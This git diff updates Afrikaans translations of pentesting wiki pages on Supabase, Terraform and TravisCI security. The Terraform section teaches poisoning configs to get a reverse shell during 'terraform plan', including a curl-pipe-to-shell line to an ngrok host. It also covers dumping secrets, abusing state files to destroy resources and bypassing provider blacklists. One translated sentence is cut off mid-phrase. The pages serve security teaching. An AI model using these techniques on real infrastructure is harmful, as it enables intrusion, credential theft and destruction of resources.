+Dit sal ook 'n **anon API sleutel** genereer (`role: "anon"`), soos: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` wat die toepassing nodig sal hê om te gebruik om die API sleutel blootgestel in ons voorbeeld te kontak.
Dit is moontlik om die API REST te vind om hierdie API te kontak in die [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), maar die mees interessante eindpunte sal wees:
@@ -118,7 +118,7 @@ Die API-sleutel lyk soos volg: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ
> [!TIP]
> Deur **standaard** sal supabase **nuwe gebruikers toelaat om rekeninge te skep** op jou projek deur die voorheen genoemde API eindpunte te gebruik.
-Ehowever, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet verifieer** om in die rekening in te log. Dit is moontlik om **"Laat anonieme aanmeldings toe"** in te skakel om mense toe te laat om in te log sonder om hul e-posadres te verifieer. Dit kan toegang tot **onverwagte data** verleen (hulle kry die rolle `public` en `authenticated`).\
+E however, hierdie nuwe rekeninge, standaard, **sal hul e-posadres moet verifieer** om in die rekening in te log. Dit is moontlik om **"Laat anonieme aanmeldings toe"** in te skakel om mense toe te laat om in te log sonder om hul e-posadres te verifieer. Dit kan toegang tot **onverwagte data** verleen (hulle kry die rolle `public` en `authenticated`).\
Dit is 'n baie slegte idee omdat supabase per aktiewe gebruiker hef, so mense kan gebruikers skep en inlog en supabase sal vir hulle hef:
@@ -138,9 +138,9 @@ Dit is moontlik om 'n SMTP in te stel om e-posse te stuur.
### Gevorderde Instellings
- Stel vervaldatum in vir toegangstokens (3600 standaard)
-- Stel in om potensieel gecompromitteerde verfris tokens te detecteer en in te trek
+- Stel in om potensieel gecompromitteerde verfris tokens te detecteer en te herroep en tydoue
- MFA: Dui aan hoeveel MFA faktore op een slag per gebruiker geregistreer kan word (10 standaard)
-- Maksimum Direkte Databasis Verbindinge: Maksimum aantal verbindings wat gebruik word om te autentiseer (10 standaard)
+- Maksimum Direkte Databasis Verbindinge: Maksimum aantal verbindings wat gebruik word om te verifieer (10 standaard)
- Maksimum Versoek Duur: Maksimum tyd wat toegelaat word vir 'n Auth versoek om te duur (10s standaard)
## Berging
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 2f5c733e7..c3027e65b 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,16 +1,16 @@
-# Terraform Security
+# Terraform Sekuriteit
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[Uit die dokumentasie:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **cloud en op-prem hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies.
+HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **wolke en plaaslike hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, berging en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies.
-#### How does Terraform work?
+#### Hoe werk Terraform?
-Terraform skep en bestuur hulpbronne op cloud platforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk.
+Terraform skep en bestuur hulpbronne op wolkplatforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk.
.png>)
@@ -18,13 +18,13 @@ HashiCorp en die Terraform gemeenskap het reeds **meer as 1700 verskaffers** ges
Die kern Terraform werksvloei bestaan uit drie fases:
-- **Write:** Jy definieer hulpbronne, wat oor verskeie cloud verskaffers en dienste mag wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Cloud (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
-- **Plan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
-- **Apply:** Op goedkeuring, voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal.
+- **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
+- **Beplan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
+- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal.
.png>)
-### Terraform Lab
+### Terraform Laboratorium
Installeer eenvoudig terraform op jou rekenaar.
@@ -36,9 +36,9 @@ Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wa
Egter, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk.
-Die hoof manier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n stadium **geïterpreteer** gaan word.
+Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n sekere tydstip **geïntpreteer** gaan word.
-Werklik, daar is oplossings daar buite wat **automaties terraform plan/apply uitvoer nadat 'n PR** geskep is, soos **Atlantis**:
+Werklik, daar is oplossings daar buite wat **automaties terraform plan/toepas uitvoer nadat 'n PR** geskep is, soos **Atlantis**:
{{#ref}}
atlantis-security.md
@@ -50,9 +50,9 @@ As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende m
Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer.
-**Using an external provider**
+**Gebruik 'n eksterne verskaffer**
-Terraform bied die [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` data bron gebruik om arbitrêre kode tydens 'n `plan` uit te voer.
+Terraform bied die [`external` verskaffer](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` databron gebruik om arbitrêre kode tydens 'n `plan` uit te voer.
Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer:
```javascript
@@ -79,17 +79,17 @@ Die verskaffer word afgelaai in die `init` en sal die kwaadwillige kode uitvoer
Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-**Gebruik 'n eksterne verwysing**
+**Gebruik van 'n eksterne verwysing**
-Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg:
+Albei genoemde opsies is nuttig, maar nie baie stealthy nie (die tweede is meer stealthy maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:
-- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy **'n eksterne hulpbron laai** wat die rev shell bevat:
+- In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
@@ -114,9 +114,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
```
Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier met eksterne verwysings** uit te voer.
-## Secrets Dumps
+## Geheimenisse Dumps
-Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop deur iets soos die volgende aan die terraform-lêer toe te voeg:
+Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop en iets soos die volgende aan die terraform-lêer toe te voeg:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,15 +124,7 @@ value = nonsensitive(var.do_token)
```
## Misbruik van Terraform Toestand Lêers
-In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te trek uit die lêer:
-
-### Verwydering van hulpbronne
-
-Daar is 2 maniere om hulpbronne te vernietig:
-
-1. **Voeg 'n hulpbron met 'n ewekansige naam by die toestand lêer wat na die werklike hulpbron verwys om te vernietig**
-
-Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron ID wat aangedui word). Voorbeeld van die vorige bladsy:
+In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te
```json
{
"mode": "managed",
@@ -150,7 +142,7 @@ Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit di
```
2. **Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)**
-Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep.
+Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig om terraform te laat verwyder en dit weer te skep.
### RCE
@@ -169,7 +161,7 @@ Dit is ook moontlik om [n pasgemaakte verskaffer te skep](https://developer.hash
```
### Vervang geblacklisted verskaffer
-In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer gepubliseer deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer.
+In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer.
```terraform
terraform {
required_providers {
@@ -190,10 +182,10 @@ program = ["sh", "-c", "whoami"]
### [**Snyk Infrastruktur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor.
+Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC-formate opspoor.
- **Kenmerke:**
-- Regs-tijd skandering vir sekuriteitskwesbaarhede en nakomingskwessies.
+- Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies.
- Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket).
- Outomatiese regstelling trek versoeke.
- Gedetailleerde hersteladvies.
@@ -206,25 +198,25 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is 'n statiese kode analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette.
+**Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette.
-Dit skandeer wolk infrastruktuur wat voorsien is met behulp van [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies met behulp van graf-gebaseerde skandering.
+Dit skandeer wolkinfrastruktuur wat voorsien is met [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering.
-Dit voer [Sagteware Samestelling Analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.
+Dit voer [Sagteware-samestelling analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit, wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.
+Van die [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.
-- **compliance:** Verseker dat die geïmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg
-- **behaviour driven development:** Ons het BDD vir byna alles, hoekom nie vir IaC nie?
-- **portable:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** dit valideer jou kode voordat dit ontplooi word
-- **easy to integrate:** dit kan in jou pyplyn (of in git hooks) hardloop om te verseker dat alle ontplooiings gevalideer word.
-- **segregation of duty:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
+- **nakoming:** Verseker dat die geïmplementeerde kode die sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg.
+- **gedragsgedrewe ontwikkeling:** Ons het BDD vir byna alles, hoekom nie vir IaC nie?
+- **portabel:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installasie](https://terraform-compliance.com/pages/installation/)
+- **voor-ontplooi:** dit valideer jou kode voordat dit ontplooi word.
+- **maklik om te integreer:** dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
+- **segregasie van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
> [!NOTE]
> Ongelukkig, as die kode sommige verskaffers gebruik waartoe jy nie toegang het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie.
@@ -235,7 +227,7 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor.
+Van die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor.
- ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige klein) wolkverskaffers
- ⛔ Honderde ingeboude reëls
@@ -247,7 +239,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statie
- 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe
- 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif.
- 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie lêer)
-- ⚡ Baie vinnig, in staat om vinnig enorme repositories te skandeer
+- ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer
```bash
brew install tfsec
tfsec /path/to/folder
@@ -264,7 +256,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om:
-- Naadloos infrastruktuur as kode te skandeer vir verkeerde konfigurasies.
+- Naadloos infrastruktuur as kode te skandeer vir misconfigurasies.
- Geprovisioneerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer.
- Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
- Risiko's te verminder voordat wolk-natiewe infrastruktuur geprovisioneer word.
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 89c721c72..cd5b472f0 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -1,10 +1,10 @@
-# TravisCI Veiligheid
+# TravisCI Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
## Wat is TravisCI
-**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagteware projekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word.
+**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagtewareprojekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word.
{{#ref}}
basic-travisci-information.md
@@ -20,12 +20,12 @@ Om 'n aanval te begin, moet jy eers weet hoe om 'n bou te aktiveer. Standaard sa
#### Cron Jobs
-As jy toegang het tot die webtoepassing, kan jy **crons stel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer:
+As jy toegang het tot die webtoepassing, kan jy **crons instel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer:
.png>)
> [!NOTE]
-> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [dit](https://github.com/travis-ci/travis-ci/issues/9162).
+> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [hierdie](https://github.com/travis-ci/travis-ci/issues/9162).
### Derdeparty PR
@@ -39,7 +39,7 @@ Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) b
- Om **geheime** wat as **Omgewing Veranderlikes** geconfigureer is te **nommer**, gaan na die **instellings** van die **projek** en kyk na die lys. Let egter daarop dat al die projek omgewing veranderlikes wat hier gestel is, sal verskyn wanneer 'n bou geaktiveer word.
- Om die **aangepaste versleutelde geheime** te nommer, is die beste wat jy kan doen om die **`.travis.yml` lêer** te **kontroleer**.
-- Om **versleutelde lêers** te nommer, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos:
+- Om **versleutelde lêers** te **nommer**, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos:
.png>)
@@ -50,7 +50,7 @@ Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) b
### TravisCI Enterprise
-As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waarvandaan hy in staat sal wees om:
+As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waar hy in staat kan wees om:
- na die gasheer te ontsnap?
- kubernetes te kompromitteer?
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 6ff1e3ac2..7e7136565 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,4 +1,4 @@
-# Basic TravisCI Information
+# Basiese TravisCI Inligting
{{#include ../../banners/hacktricks-training.md}}
@@ -6,23 +6,23 @@
TravisCI integreer direk met verskillende git platforms soos Github, Bitbucket, Assembla, en Gitlab. Dit sal die gebruiker vra om TravisCI toestemming te gee om toegang te verkry tot die repos wat hy wil integreer met TravisCI.
-Byvoorbeeld, in Github sal dit vir die volgende toestemmings vra:
+Byvoorbeeld, in Github sal dit om die volgende toestemmings vra:
- `user:email` (slegs lees)
- `read:org` (slegs lees)
-- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, samewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies.
+- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, medewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies.
-## Geënkripteerde Geheime
+## Geënkripteerde Geheimen
### Omgewing Veranderlikes
-In TravisCI, soos in ander CI platforms, is dit moontlik om **geheime op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleutel en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word.
+In TravisCI, soos in ander CI platforms, is dit moontlik om **geheimen op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleuteld en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word.
.png>)
-Dit is moontlik om die **takke aan te dui waartoe die geheime beskikbaar gaan wees** (standaard is dit alles) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit).
+Dit is moontlik om die **takke aan te dui waartoe die geheimen beskikbaar gaan wees** (standaard al) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit).
-### Pasgemaakte Geënkripteerde Geheime
+### Pasgemaakte Geënkripteerde Geheimen
Vir **elke repo** genereer TravisCI 'n **RSA sleutelpaar**, **hou** die **privaat** een, en maak die repository se **publieke sleutel beskikbaar** vir diegene wat **toegang** tot die repository het.
@@ -31,7 +31,7 @@ Jy kan die publieke sleutel van een repo met toegang:
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml` te voeg**. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en toeganklik wees in die **omgewing veranderlikes**.
+Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml`** te voeg. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en beskikbaar wees in die **omgewing veranderlikes**.
.png>)
@@ -39,7 +39,7 @@ Let daarop dat die geheime wat op hierdie manier geënkripteer is, nie in die om
### Pasgemaakte Geënkripteerde Lêers
-Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit tydens die bou te ontsleutel**:
+Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit dan tydens die bou te ontsleutel**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -57,24 +57,24 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Let wel dat wanneer 'n lêer geënkripteer word, 2 Omgewing Veranderlikes binne die repo geconfigureer sal word, soos:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan konfigureer en beveilig soos jy wil.
+Travis CI Enterprise is 'n **on-prem weergawe van Travis CI**, wat jy kan ontplooi **in jou infrastruktuur**. Dink aan die ‘bediener’ weergawe van Travis CI. Deur Travis CI te gebruik, kan jy 'n maklik-om-te-gebruik Kontinuïteitsintegrasie/Kontinuïteitsontplooiing (CI/CD) stelsel in 'n omgewing inskakel, wat jy kan configureer en beveilig soos jy wil.
**Travis CI Enterprise bestaan uit twee hoofdele:**
-1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, die autorisering van boue, die skedulering van bouwerk, ens.
+1. TCI **dienste** (of TCI Kern Dienste), verantwoordelik vir integrasie met weergawebeheer stelsels, bougoedkeuring, skedulering van bouwerk, ens.
2. TCI **Werker** en bou omgewing beelde (ook genoem OS beelde).
**TCI Kern dienste vereis die volgende:**
1. 'n **PostgreSQL11** (of later) databasis.
2. 'n infrastruktuur om 'n Kubernetes-kluster te ontplooi; dit kan in 'n bedienerkluster of op 'n enkele masjien ontplooi word indien nodig.
